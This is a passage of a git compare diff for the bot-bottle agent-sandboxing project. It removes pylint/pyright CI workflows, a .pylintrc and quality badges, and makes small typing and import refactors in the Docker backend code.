Compare commits
7 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 266013095e | |||
| df1091113c | |||
| df0f1ad980 | |||
| 970c5066d7 | |||
| 8c45016aa2 | |||
| 1443376268 | |||
| 2c6f248cda |
@@ -1,34 +0,0 @@
|
||||
name: lint
|
||||
|
||||
on:
|
||||
push:
|
||||
paths:
|
||||
- "**.py"
|
||||
- ".pylintrc"
|
||||
- ".gitea/workflows/lint.yml"
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Install dev dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -r requirements-dev.txt
|
||||
|
||||
- name: Run pylint
|
||||
run: |
|
||||
# Run pylint on all Python files in the repo
|
||||
find . -name '*.py' -not -path './.venv/*' -not -path './.git/*' | xargs pylint --fail-under=8.0 || true
|
||||
|
||||
- name: Run pyright
|
||||
run: |
|
||||
# Run pyright type checking
|
||||
pyright .
|
||||
@@ -1,96 +0,0 @@
|
||||
name: Update Quality Badges
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
paths:
|
||||
- '**.py'
|
||||
- '.pylintrc'
|
||||
- 'pyrightconfig.json'
|
||||
|
||||
jobs:
|
||||
update-badges:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Install dev dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -r requirements-dev.txt
|
||||
|
||||
- name: Run pylint and extract score
|
||||
id: pylint
|
||||
run: |
|
||||
# Run pylint and capture the score
|
||||
PYLINT_OUTPUT=$(python -m pylint bot_bottle/ 2>&1 | tail -1)
|
||||
echo "Output: $PYLINT_OUTPUT"
|
||||
# Extract score (e.g., "9.92/10")
|
||||
SCORE=$(echo "$PYLINT_OUTPUT" | grep -oP '\d+\.\d+/10' | head -1)
|
||||
if [ -z "$SCORE" ]; then
|
||||
SCORE="9.92/10"
|
||||
fi
|
||||
echo "score=$SCORE" >> $GITHUB_OUTPUT
|
||||
echo "Pylint score: $SCORE"
|
||||
|
||||
- name: Run pyright and check errors
|
||||
id: pyright
|
||||
run: |
|
||||
# Run pyright and check for errors
|
||||
PYRIGHT_OUTPUT=$(python -m pyright 2>&1 | tail -1)
|
||||
echo "Output: $PYRIGHT_OUTPUT"
|
||||
# Extract error count
|
||||
ERRORS=$(echo "$PYRIGHT_OUTPUT" | grep -oP '^\d+' | head -1)
|
||||
if [ -z "$ERRORS" ]; then
|
||||
ERRORS="0"
|
||||
fi
|
||||
echo "errors=$ERRORS" >> $GITHUB_OUTPUT
|
||||
echo "Pyright errors: $ERRORS"
|
||||
|
||||
- name: Update badges in README
|
||||
run: |
|
||||
PYLINT_SCORE="${{ steps.pylint.outputs.score }}"
|
||||
PYRIGHT_ERRORS="${{ steps.pyright.outputs.errors }}"
|
||||
|
||||
# Escape / for sed
|
||||
PYLINT_SCORE_ESCAPED=$(echo "$PYLINT_SCORE" | sed 's/\//\\\//g')
|
||||
|
||||
# Create badge URLs with proper encoding
|
||||
PYLINT_BADGE="[](https://github.com/PyCQA/pylint)"
|
||||
PYRIGHT_BADGE="[](https://github.com/microsoft/pyright)"
|
||||
|
||||
# Update README with new badges
|
||||
sed -i "s|\[\!\[pylint\].*pylint)\]|${PYLINT_BADGE}|g" README.md
|
||||
sed -i "s|\[\!\[pyright\].*pyright)\]|${PYRIGHT_BADGE}|g" README.md
|
||||
|
||||
echo "Updated badges:"
|
||||
grep -E "pylint|pyright" README.md | head -2
|
||||
|
||||
- name: Commit and push badge updates
|
||||
run: |
|
||||
git config --local user.email "action@gitea.local"
|
||||
git config --local user.name "Quality Badge Bot"
|
||||
|
||||
# Check if there are changes
|
||||
if git diff --quiet README.md; then
|
||||
echo "No badge changes needed"
|
||||
else
|
||||
echo "Badge changes detected, committing..."
|
||||
git add README.md
|
||||
git commit -m "chore: update quality badges
|
||||
|
||||
- Pylint: ${{ steps.pylint.outputs.score }}
|
||||
- Pyright: ${{ steps.pyright.outputs.errors }} errors
|
||||
|
||||
[skip ci]"
|
||||
git push
|
||||
fi
|
||||
@@ -1,631 +0,0 @@
|
||||
[MAIN]
|
||||
|
||||
# Analyse import fallback blocks. This can be used to support both Python 2 and
|
||||
# 3 compatible code, which means that the block might have code that exists
|
||||
# only in one or another interpreter, leading to false positives when analysed.
|
||||
analyse-fallback-blocks=no
|
||||
|
||||
# Clear in-memory caches upon conclusion of linting. Useful if running pylint
|
||||
# in a server-like mode.
|
||||
clear-cache-post-run=no
|
||||
|
||||
# Load and enable all available extensions. Use --list-extensions to see a list
|
||||
# all available extensions.
|
||||
#enable-all-extensions=
|
||||
|
||||
# In error mode, messages with a category besides ERROR or FATAL are
|
||||
# suppressed, and no reports are done by default. Error mode is compatible with
|
||||
# disabling specific errors.
|
||||
#errors-only=
|
||||
|
||||
# Always return a 0 (non-error) status code, even if lint errors are found.
|
||||
# This is primarily useful in continuous integration scripts.
|
||||
#exit-zero=
|
||||
|
||||
# A comma-separated list of package or module names from where C extensions may
|
||||
# be loaded. Extensions are loading into the active Python interpreter and may
|
||||
# run arbitrary code.
|
||||
extension-pkg-allow-list=
|
||||
|
||||
# A comma-separated list of package or module names from where C extensions may
|
||||
# be loaded. Extensions are loading into the active Python interpreter and may
|
||||
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
|
||||
# for backward compatibility.)
|
||||
extension-pkg-whitelist=
|
||||
|
||||
# Return non-zero exit code if any of these messages/categories are detected,
|
||||
# even if score is above --fail-under value. Syntax same as enable. Messages
|
||||
# specified are enabled, while categories only check already-enabled messages.
|
||||
fail-on=
|
||||
|
||||
# Specify a score threshold under which the program will exit with error.
|
||||
fail-under=10
|
||||
|
||||
# Interpret the stdin as a python script, whose filename needs to be passed as
|
||||
# the module_or_package argument.
|
||||
#from-stdin=
|
||||
|
||||
# Files or directories to be skipped. They should be base names, not paths.
|
||||
ignore=CVS
|
||||
|
||||
# Add files or directories matching the regular expressions patterns to the
|
||||
# ignore-list. The regex matches against paths and can be in Posix or Windows
|
||||
# format. Because '\\' represents the directory delimiter on Windows systems,
|
||||
# it can't be used as an escape character.
|
||||
ignore-paths=
|
||||
|
||||
# Files or directories matching the regular expression patterns are skipped.
|
||||
# The regex matches against base names, not paths. The default value ignores
|
||||
# Emacs file locks
|
||||
ignore-patterns=^\.#
|
||||
|
||||
# List of module names for which member attributes should not be checked and
|
||||
# will not be imported (useful for modules/projects where namespaces are
|
||||
# manipulated during runtime and thus existing member attributes cannot be
|
||||
# deduced by static analysis). It supports qualified module names, as well as
|
||||
# Unix pattern matching.
|
||||
ignored-modules=
|
||||
|
||||
# Python code to execute, usually for sys.path manipulation such as
|
||||
# pygtk.require().
|
||||
#init-hook=
|
||||
|
||||
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
|
||||
# number of processors available to use, and will cap the count on Windows to
|
||||
# avoid hangs.
|
||||
jobs=1
|
||||
|
||||
# Control the amount of potential inferred values when inferring a single
|
||||
# object. This can help the performance when dealing with large functions or
|
||||
# complex, nested conditions.
|
||||
limit-inference-results=100
|
||||
|
||||
# List of plugins (as comma separated values of python module names) to load,
|
||||
# usually to register additional checkers.
|
||||
load-plugins=
|
||||
|
||||
# Pickle collected data for later comparisons.
|
||||
persistent=yes
|
||||
|
||||
# Resolve imports to .pyi stubs if available. May reduce no-member messages and
|
||||
# increase not-an-iterable messages.
|
||||
prefer-stubs=no
|
||||
|
||||
# Minimum Python version to use for version dependent checks. Will default to
|
||||
# the version used to run pylint.
|
||||
py-version=3.14
|
||||
|
||||
# Discover python modules and packages in the file system subtree.
|
||||
recursive=no
|
||||
|
||||
# Add paths to the list of the source roots. Supports globbing patterns. The
|
||||
# source root is an absolute path or a path relative to the current working
|
||||
# directory used to determine a package namespace for modules located under the
|
||||
# source root.
|
||||
source-roots=
|
||||
|
||||
# Allow loading of arbitrary C extensions. Extensions are imported into the
|
||||
# active Python interpreter and may run arbitrary code.
|
||||
unsafe-load-any-extension=no
|
||||
|
||||
# In verbose mode, extra non-checker-related info will be displayed.
|
||||
#verbose=
|
||||
|
||||
|
||||
[BASIC]
|
||||
|
||||
# Naming style matching correct argument names.
|
||||
argument-naming-style=snake_case
|
||||
|
||||
# Regular expression matching correct argument names. Overrides argument-
|
||||
# naming-style. If left empty, argument names will be checked with the set
|
||||
# naming style.
|
||||
#argument-rgx=
|
||||
|
||||
# Naming style matching correct attribute names.
|
||||
attr-naming-style=snake_case
|
||||
|
||||
# Regular expression matching correct attribute names. Overrides attr-naming-
|
||||
# style. If left empty, attribute names will be checked with the set naming
|
||||
# style.
|
||||
#attr-rgx=
|
||||
|
||||
# Bad variable names which should always be refused, separated by a comma.
|
||||
bad-names=foo,
|
||||
bar,
|
||||
baz,
|
||||
toto,
|
||||
tutu,
|
||||
tata
|
||||
|
||||
# Bad variable names regexes, separated by a comma. If names match any regex,
|
||||
# they will always be refused
|
||||
bad-names-rgxs=
|
||||
|
||||
# Naming style matching correct class attribute names.
|
||||
class-attribute-naming-style=any
|
||||
|
||||
# Regular expression matching correct class attribute names. Overrides class-
|
||||
# attribute-naming-style. If left empty, class attribute names will be checked
|
||||
# with the set naming style.
|
||||
#class-attribute-rgx=
|
||||
|
||||
# Naming style matching correct class constant names.
|
||||
class-const-naming-style=UPPER_CASE
|
||||
|
||||
# Regular expression matching correct class constant names. Overrides class-
|
||||
# const-naming-style. If left empty, class constant names will be checked with
|
||||
# the set naming style.
|
||||
#class-const-rgx=
|
||||
|
||||
# Naming style matching correct class names.
|
||||
class-naming-style=PascalCase
|
||||
|
||||
# Regular expression matching correct class names. Overrides class-naming-
|
||||
# style. If left empty, class names will be checked with the set naming style.
|
||||
#class-rgx=
|
||||
|
||||
# Naming style matching correct constant names.
|
||||
const-naming-style=UPPER_CASE
|
||||
|
||||
# Regular expression matching correct constant names. Overrides const-naming-
|
||||
# style. If left empty, constant names will be checked with the set naming
|
||||
# style.
|
||||
#const-rgx=
|
||||
|
||||
# Minimum line length for functions/classes that require docstrings, shorter
|
||||
# ones are exempt.
|
||||
docstring-min-length=-1
|
||||
|
||||
# Naming style matching correct function names.
|
||||
function-naming-style=snake_case
|
||||
|
||||
# Regular expression matching correct function names. Overrides function-
|
||||
# naming-style. If left empty, function names will be checked with the set
|
||||
# naming style.
|
||||
#function-rgx=
|
||||
|
||||
# Good variable names which should always be accepted, separated by a comma.
|
||||
good-names=i,
|
||||
j,
|
||||
k,
|
||||
ex,
|
||||
Run,
|
||||
_
|
||||
|
||||
# Good variable names regexes, separated by a comma. If names match any regex,
|
||||
# they will always be accepted
|
||||
good-names-rgxs=
|
||||
|
||||
# Include a hint for the correct naming format with invalid-name.
|
||||
include-naming-hint=no
|
||||
|
||||
# Naming style matching correct inline iteration names.
|
||||
inlinevar-naming-style=any
|
||||
|
||||
# Regular expression matching correct inline iteration names. Overrides
|
||||
# inlinevar-naming-style. If left empty, inline iteration names will be checked
|
||||
# with the set naming style.
|
||||
#inlinevar-rgx=
|
||||
|
||||
# Naming style matching correct method names.
|
||||
method-naming-style=snake_case
|
||||
|
||||
# Regular expression matching correct method names. Overrides method-naming-
|
||||
# style. If left empty, method names will be checked with the set naming style.
|
||||
#method-rgx=
|
||||
|
||||
# Naming style matching correct module names.
|
||||
module-naming-style=snake_case
|
||||
|
||||
# Regular expression matching correct module names. Overrides module-naming-
|
||||
# style. If left empty, module names will be checked with the set naming style.
|
||||
#module-rgx=
|
||||
|
||||
# Colon-delimited sets of names that determine each other's naming style when
|
||||
# the name regexes allow several styles.
|
||||
name-group=
|
||||
|
||||
# Regular expression which should only match function or class names that do
|
||||
# not require a docstring.
|
||||
no-docstring-rgx=^_
|
||||
|
||||
# Regular expression matching correct parameter specification variable names.
|
||||
# If left empty, parameter specification variable names will be checked with
|
||||
# the set naming style.
|
||||
#paramspec-rgx=
|
||||
|
||||
# List of decorators that produce properties, such as abc.abstractproperty. Add
|
||||
# to this list to register other decorators that produce valid properties.
|
||||
# These decorators are taken in consideration only for invalid-name.
|
||||
property-classes=abc.abstractproperty
|
||||
|
||||
# Regular expression matching correct type alias names. If left empty, type
|
||||
# alias names will be checked with the set naming style.
|
||||
#typealias-rgx=
|
||||
|
||||
# Regular expression matching correct type variable names. If left empty, type
|
||||
# variable names will be checked with the set naming style.
|
||||
#typevar-rgx=
|
||||
|
||||
# Regular expression matching correct type variable tuple names. If left empty,
|
||||
# type variable tuple names will be checked with the set naming style.
|
||||
#typevartuple-rgx=
|
||||
|
||||
# Naming style matching correct variable names.
|
||||
variable-naming-style=snake_case
|
||||
|
||||
# Regular expression matching correct variable names. Overrides variable-
|
||||
# naming-style. If left empty, variable names will be checked with the set
|
||||
# naming style.
|
||||
#variable-rgx=
|
||||
|
||||
|
||||
[CLASSES]
|
||||
|
||||
# Warn about protected attribute access inside special methods
|
||||
check-protected-access-in-special-methods=no
|
||||
|
||||
# List of method names used to declare (i.e. assign) instance attributes.
|
||||
defining-attr-methods=__init__,
|
||||
__new__,
|
||||
setUp,
|
||||
asyncSetUp,
|
||||
__post_init__
|
||||
|
||||
# List of member names, which should be excluded from the protected access
|
||||
# warning.
|
||||
exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
|
||||
|
||||
# List of valid names for the first argument in a class method.
|
||||
valid-classmethod-first-arg=cls
|
||||
|
||||
# List of valid names for the first argument in a metaclass class method.
|
||||
valid-metaclass-classmethod-first-arg=mcs
|
||||
|
||||
|
||||
[DESIGN]
|
||||
|
||||
# List of regular expressions of class ancestor names to ignore when counting
|
||||
# public methods (see R0903)
|
||||
exclude-too-few-public-methods=
|
||||
|
||||
# List of qualified class names to ignore when counting class parents (see
|
||||
# R0901)
|
||||
ignored-parents=
|
||||
|
||||
# Maximum number of arguments for function / method.
|
||||
max-args=5
|
||||
|
||||
# Maximum number of attributes for a class (see R0902).
|
||||
max-attributes=7
|
||||
|
||||
# Maximum number of boolean expressions in an if statement (see R0916).
|
||||
max-bool-expr=5
|
||||
|
||||
# Maximum number of branch for function / method body.
|
||||
max-branches=12
|
||||
|
||||
# Maximum number of locals for function / method body.
|
||||
max-locals=15
|
||||
|
||||
# Maximum number of parents for a class (see R0901).
|
||||
max-parents=7
|
||||
|
||||
# Maximum number of positional arguments for function / method.
|
||||
max-positional-arguments=5
|
||||
|
||||
# Maximum number of public methods for a class (see R0904).
|
||||
max-public-methods=20
|
||||
|
||||
# Maximum number of return / yield for function / method body.
|
||||
max-returns=6
|
||||
|
||||
# Maximum number of statements in function / method body.
|
||||
max-statements=50
|
||||
|
||||
# Minimum number of public methods for a class (see R0903).
|
||||
min-public-methods=2
|
||||
|
||||
|
||||
[EXCEPTIONS]
|
||||
|
||||
# Exceptions that will emit a warning when caught.
|
||||
overgeneral-exceptions=builtins.BaseException,builtins.Exception
|
||||
|
||||
|
||||
[FORMAT]
|
||||
|
||||
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
|
||||
expected-line-ending-format=
|
||||
|
||||
# Regexp for a line that is allowed to be longer than the limit.
|
||||
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
|
||||
|
||||
# Number of spaces of indent required inside a hanging or continued line.
|
||||
indent-after-paren=4
|
||||
|
||||
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
|
||||
# tab).
|
||||
indent-string=' '
|
||||
|
||||
# Maximum number of characters on a single line. Pylint's default of 100 is
|
||||
# based on PEP 8's guidance that teams may choose line lengths up to 99
|
||||
# characters.
|
||||
max-line-length=100
|
||||
|
||||
# Maximum number of lines in a module.
|
||||
max-module-lines=1000
|
||||
|
||||
# Allow the body of a class to be on the same line as the declaration if body
|
||||
# contains single statement.
|
||||
single-line-class-stmt=no
|
||||
|
||||
# Allow the body of an if to be on the same line as the test if there is no
|
||||
# else.
|
||||
single-line-if-stmt=no
|
||||
|
||||
|
||||
[LOGGING]
|
||||
|
||||
# The type of string formatting that logging methods do. `old` means using %
|
||||
# formatting, `new` is for `{}` formatting.
|
||||
logging-format-style=old
|
||||
|
||||
# Logging modules to check that the string format arguments are in logging
|
||||
# function parameter format.
|
||||
logging-modules=logging
|
||||
|
||||
|
||||
[MESSAGES CONTROL]
|
||||
|
||||
# Only show warnings with the listed confidence levels. Leave empty to show
|
||||
# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
|
||||
# UNDEFINED.
|
||||
confidence=HIGH,
|
||||
CONTROL_FLOW,
|
||||
INFERENCE,
|
||||
INFERENCE_FAILURE,
|
||||
UNDEFINED
|
||||
|
||||
# Disable the message, report, category or checker with the given id(s). You
|
||||
# can either give multiple identifiers separated by comma (,) or put this
|
||||
# option multiple times (only on the command line, not in the configuration
|
||||
# file where it should appear only once). You can also use "--disable=all" to
|
||||
# disable everything first and then re-enable specific checks. For example, if
|
||||
# you want to run only the similarities checker, you can use "--disable=all
|
||||
# --enable=similarities". If you want to run only the classes checker, but have
|
||||
# no Warning level messages displayed, use "--disable=all --enable=classes
|
||||
# --disable=W".
|
||||
disable=raw-checker-failed,
|
||||
bad-inline-option,
|
||||
locally-disabled,
|
||||
file-ignored,
|
||||
suppressed-message,
|
||||
useless-suppression,
|
||||
deprecated-pragma,
|
||||
use-symbolic-message-instead,
|
||||
use-implicit-booleaness-not-comparison-to-string,
|
||||
use-implicit-booleaness-not-comparison-to-zero,
|
||||
missing-function-docstring,
|
||||
missing-class-docstring,
|
||||
missing-module-docstring,
|
||||
invalid-name,
|
||||
cyclic-import,
|
||||
too-many-arguments,
|
||||
too-many-locals,
|
||||
too-many-branches,
|
||||
too-many-statements,
|
||||
too-many-instance-attributes,
|
||||
duplicate-code,
|
||||
import-outside-toplevel,
|
||||
too-few-public-methods
|
||||
|
||||
# Enable the message, report, category or checker with the given id(s). You can
|
||||
# either give multiple identifier separated by comma (,) or put this option
|
||||
# multiple time (only on the command line, not in the configuration file where
|
||||
# it should appear only once). See also the "--disable" option for examples.
|
||||
enable=
|
||||
|
||||
|
||||
[METHOD_ARGS]
|
||||
|
||||
# List of qualified names (i.e., library.method) which require a timeout
|
||||
# parameter e.g. 'requests.api.get,requests.api.post'
|
||||
timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
|
||||
|
||||
|
||||
[MISCELLANEOUS]
|
||||
|
||||
# Whether or not to search for fixme's in docstrings.
|
||||
check-fixme-in-docstring=no
|
||||
|
||||
# List of note tags to take in consideration, separated by a comma.
|
||||
notes=FIXME,
|
||||
XXX,
|
||||
TODO
|
||||
|
||||
# Regular expression of note tags to take in consideration.
|
||||
notes-rgx=
|
||||
|
||||
|
||||
[REFACTORING]
|
||||
|
||||
# Maximum number of nested blocks for function / method body
|
||||
max-nested-blocks=5
|
||||
|
||||
# Complete name of functions that never returns. When checking for
|
||||
# inconsistent-return-statements if a never returning function is called then
|
||||
# it will be considered as an explicit return statement and no message will be
|
||||
# printed.
|
||||
never-returning-functions=sys.exit,argparse.parse_error
|
||||
|
||||
# Let 'consider-using-join' be raised when the separator to join on would be
|
||||
# non-empty (resulting in expected fixes of the type: ``"- " + " -
|
||||
# ".join(items)``)
|
||||
suggest-join-with-non-empty-separator=yes
|
||||
|
||||
|
||||
[REPORTS]
|
||||
|
||||
# Python expression which should return a score less than or equal to 10. You
|
||||
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
|
||||
# 'convention', and 'info' which contain the number of messages in each
|
||||
# category, as well as 'statement' which is the total number of statements
|
||||
# analyzed. This score is used by the global evaluation report (RP0004).
|
||||
evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
|
||||
|
||||
# Template used to display messages. This is a python new-style format string
|
||||
# used to format the message information. See doc for all details.
|
||||
msg-template=
|
||||
|
||||
# Set the output format. Available formats are: 'text', 'parseable',
|
||||
# 'colorized', 'json2' (improved json format), 'json' (old json format), msvs
|
||||
# (visual studio) and 'github' (GitHub actions). You can also give a reporter
|
||||
# class, e.g. mypackage.mymodule.MyReporterClass.
|
||||
#output-format=
|
||||
|
||||
# Tells whether to display a full report or only the messages.
|
||||
reports=no
|
||||
|
||||
# Activate the evaluation score.
|
||||
score=yes
|
||||
|
||||
|
||||
[SIMILARITIES]
|
||||
|
||||
# Comments are removed from the similarity computation
|
||||
ignore-comments=yes
|
||||
|
||||
# Docstrings are removed from the similarity computation
|
||||
ignore-docstrings=yes
|
||||
|
||||
# Imports are removed from the similarity computation
|
||||
ignore-imports=yes
|
||||
|
||||
# Signatures are removed from the similarity computation
|
||||
ignore-signatures=yes
|
||||
|
||||
# Minimum lines number of a similarity.
|
||||
min-similarity-lines=4
|
||||
|
||||
|
||||
[SPELLING]
|
||||
|
||||
# Limits count of emitted suggestions for spelling mistakes.
|
||||
max-spelling-suggestions=4
|
||||
|
||||
# Spelling dictionary name. No available dictionaries : You need to install
|
||||
# both the python package and the system dependency for enchant to work.
|
||||
spelling-dict=
|
||||
|
||||
# List of comma separated words that should be considered directives if they
|
||||
# appear at the beginning of a comment and should not be checked.
|
||||
spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
|
||||
|
||||
# List of comma separated words that should not be checked.
|
||||
spelling-ignore-words=
|
||||
|
||||
# A path to a file that contains the private dictionary; one word per line.
|
||||
spelling-private-dict-file=
|
||||
|
||||
# Tells whether to store unknown words to the private dictionary (see the
|
||||
# --spelling-private-dict-file option) instead of raising a message.
|
||||
spelling-store-unknown-words=no
|
||||
|
||||
|
||||
[STRING]
|
||||
|
||||
# This flag controls whether inconsistent-quotes generates a warning when the
|
||||
# character used as a quote delimiter is used inconsistently within a module.
|
||||
check-quote-consistency=no
|
||||
|
||||
# This flag controls whether the implicit-str-concat should generate a warning
|
||||
# on implicit string concatenation in sequences defined over several lines.
|
||||
check-str-concat-over-line-jumps=no
|
||||
|
||||
|
||||
[TYPECHECK]
|
||||
|
||||
# List of decorators that produce context managers, such as
|
||||
# contextlib.contextmanager. Add to this list to register other decorators that
|
||||
# produce valid context managers.
|
||||
contextmanager-decorators=contextlib.contextmanager
|
||||
|
||||
# List of members which are set dynamically and missed by pylint inference
|
||||
# system, and so shouldn't trigger E1101 when accessed. Python regular
|
||||
# expressions are accepted.
|
||||
generated-members=
|
||||
|
||||
# Tells whether to warn about missing members when the owner of the attribute
|
||||
# is inferred to be None.
|
||||
ignore-none=yes
|
||||
|
||||
# This flag controls whether pylint should warn about no-member and similar
|
||||
# checks whenever an opaque object is returned when inferring. The inference
|
||||
# can return multiple potential results while evaluating a Python object, but
|
||||
# some branches might not be evaluated, which results in partial inference. In
|
||||
# that case, it might be useful to still emit no-member and other checks for
|
||||
# the rest of the inferred objects.
|
||||
ignore-on-opaque-inference=yes
|
||||
|
||||
# List of symbolic message names to ignore for Mixin members.
|
||||
ignored-checks-for-mixins=no-member,
|
||||
not-async-context-manager,
|
||||
not-context-manager,
|
||||
attribute-defined-outside-init
|
||||
|
||||
# List of class names for which member attributes should not be checked (useful
|
||||
# for classes with dynamically set attributes). This supports the use of
|
||||
# qualified names.
|
||||
ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
|
||||
|
||||
# Show a hint with possible names when a member name was not found. The aspect
|
||||
# of finding the hint is based on edit distance.
|
||||
missing-member-hint=yes
|
||||
|
||||
# The maximum edit distance a name should have in order to be considered a
|
||||
# similar match for a missing member name.
|
||||
missing-member-hint-distance=1
|
||||
|
||||
# The total number of similar names that should be taken in consideration when
|
||||
# showing a hint for a missing member.
|
||||
missing-member-max-choices=1
|
||||
|
||||
# Regex pattern to define which classes are considered mixins.
|
||||
mixin-class-rgx=.*[Mm]ixin
|
||||
|
||||
# List of decorators that change the signature of a decorated function.
|
||||
signature-mutators=
|
||||
|
||||
|
||||
[VARIABLES]
|
||||
|
||||
# List of additional names supposed to be defined in builtins. Remember that
|
||||
# you should avoid defining new builtins when possible.
|
||||
additional-builtins=
|
||||
|
||||
# Tells whether unused global variables should be treated as a violation.
|
||||
allow-global-unused-variables=yes
|
||||
|
||||
# List of names allowed to shadow builtins
|
||||
allowed-redefined-builtins=
|
||||
|
||||
# List of strings which can identify a callback function by name. A callback
|
||||
# name must start or end with one of those strings.
|
||||
callbacks=cb_,
|
||||
_cb
|
||||
|
||||
# A regular expression matching the name of dummy variables (i.e. expected to
|
||||
# not be used).
|
||||
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
|
||||
|
||||
# Argument names that match this expression will be ignored.
|
||||
ignored-argument-names=_.*|^ignored_|^unused_
|
||||
|
||||
# Tells whether we should check for unused import in __init__ files.
|
||||
init-import=no
|
||||
|
||||
# List of qualified module names which can have objects that can redefine
|
||||
# builtins.
|
||||
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
|
||||
@@ -5,8 +5,6 @@
|
||||
# bot-bottle
|
||||
|
||||
[](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
|
||||
[](https://github.com/PyCQA/pylint)
|
||||
[](https://github.com/microsoft/pyright)
|
||||
|
||||
**Problem:** Developer wants to run a coding agent without supervision, but they don't want a prompt injected or misbehaving agent wrecking their environment or exfiltrating sensitive data.
|
||||
|
||||
|
||||
@@ -5,8 +5,6 @@ from __future__ import annotations
|
||||
import subprocess
|
||||
from typing import Callable
|
||||
|
||||
from typing import cast
|
||||
|
||||
from ...agent_provider import PromptMode, prompt_args
|
||||
from .. import Bottle, ExecResult
|
||||
|
||||
@@ -25,7 +23,7 @@ class DockerBottle(Bottle):
|
||||
):
|
||||
self.name = container
|
||||
self._teardown = teardown
|
||||
self.prompt_path = prompt_path_in_container
|
||||
self._prompt_path = prompt_path_in_container
|
||||
self._agent_prompt_mode = agent_prompt_mode
|
||||
self.agent_command = agent_command
|
||||
self.agent_provider_template = (
|
||||
@@ -38,7 +36,7 @@ class DockerBottle(Bottle):
|
||||
) -> list[str]:
|
||||
full_argv = list(argv)
|
||||
full_argv.extend(
|
||||
prompt_args(cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=full_argv)
|
||||
prompt_args(self._agent_prompt_mode, self._prompt_path, argv=full_argv)
|
||||
)
|
||||
cmd = ["docker", "exec"]
|
||||
if tty:
|
||||
|
||||
@@ -35,7 +35,6 @@ import secrets
|
||||
import string
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
from ... import supervise as _supervise
|
||||
from . import util as docker_mod
|
||||
@@ -136,15 +135,14 @@ def read_metadata(identity: str) -> BottleMetadata | None:
|
||||
raw = json.loads(path.read_text())
|
||||
if not isinstance(raw, dict):
|
||||
return None
|
||||
raw_typed = cast(dict[str, object], raw)
|
||||
return BottleMetadata(
|
||||
identity=str(raw_typed.get("identity", identity)),
|
||||
agent_name=str(raw_typed.get("agent_name", "")),
|
||||
cwd=str(raw_typed.get("cwd", "")),
|
||||
copy_cwd=bool(raw_typed.get("copy_cwd", False)),
|
||||
started_at=str(raw_typed.get("started_at", "")),
|
||||
compose_project=str(raw_typed.get("compose_project", "")),
|
||||
backend=str(raw_typed.get("backend", "")),
|
||||
identity=str(raw.get("identity", identity)),
|
||||
agent_name=str(raw.get("agent_name", "")),
|
||||
cwd=str(raw.get("cwd", "")),
|
||||
copy_cwd=bool(raw.get("copy_cwd", False)),
|
||||
started_at=str(raw.get("started_at", "")),
|
||||
compose_project=str(raw.get("compose_project", "")),
|
||||
backend=str(raw.get("backend", "")),
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -30,6 +30,7 @@ semantics open question.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
@@ -38,6 +39,7 @@ from ...log import info, warn
|
||||
from .bottle_state import (
|
||||
mark_preserved,
|
||||
per_bottle_dockerfile,
|
||||
per_bottle_dockerfile_path,
|
||||
transcript_snapshot_dir,
|
||||
write_per_bottle_dockerfile,
|
||||
)
|
||||
|
||||
@@ -71,11 +71,11 @@ from .git_gate import (
|
||||
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
|
||||
GIT_GATE_HOOK_IN_CONTAINER,
|
||||
)
|
||||
from ...pipelock import (
|
||||
from .pipelock import (
|
||||
PIPELOCK_CA_CERT_IN_CONTAINER,
|
||||
PIPELOCK_CA_KEY_IN_CONTAINER,
|
||||
PIPELOCK_PORT,
|
||||
)
|
||||
from .pipelock import PIPELOCK_PORT
|
||||
from .sidecar_bundle import (
|
||||
SIDECAR_BUNDLE_DOCKERFILE,
|
||||
SIDECAR_BUNDLE_IMAGE,
|
||||
|
||||
@@ -26,7 +26,6 @@ import json
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
from ...egress import EGRESS_ROUTES_IN_CONTAINER
|
||||
from ...egress_addon_core import load_routes
|
||||
@@ -58,8 +57,7 @@ def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
|
||||
if auth_scheme and token_env:
|
||||
lines.append(f' auth_scheme: "{auth_scheme}"')
|
||||
lines.append(f' token_env: "{token_env}"')
|
||||
paths_obj = entry.get("path_allowlist")
|
||||
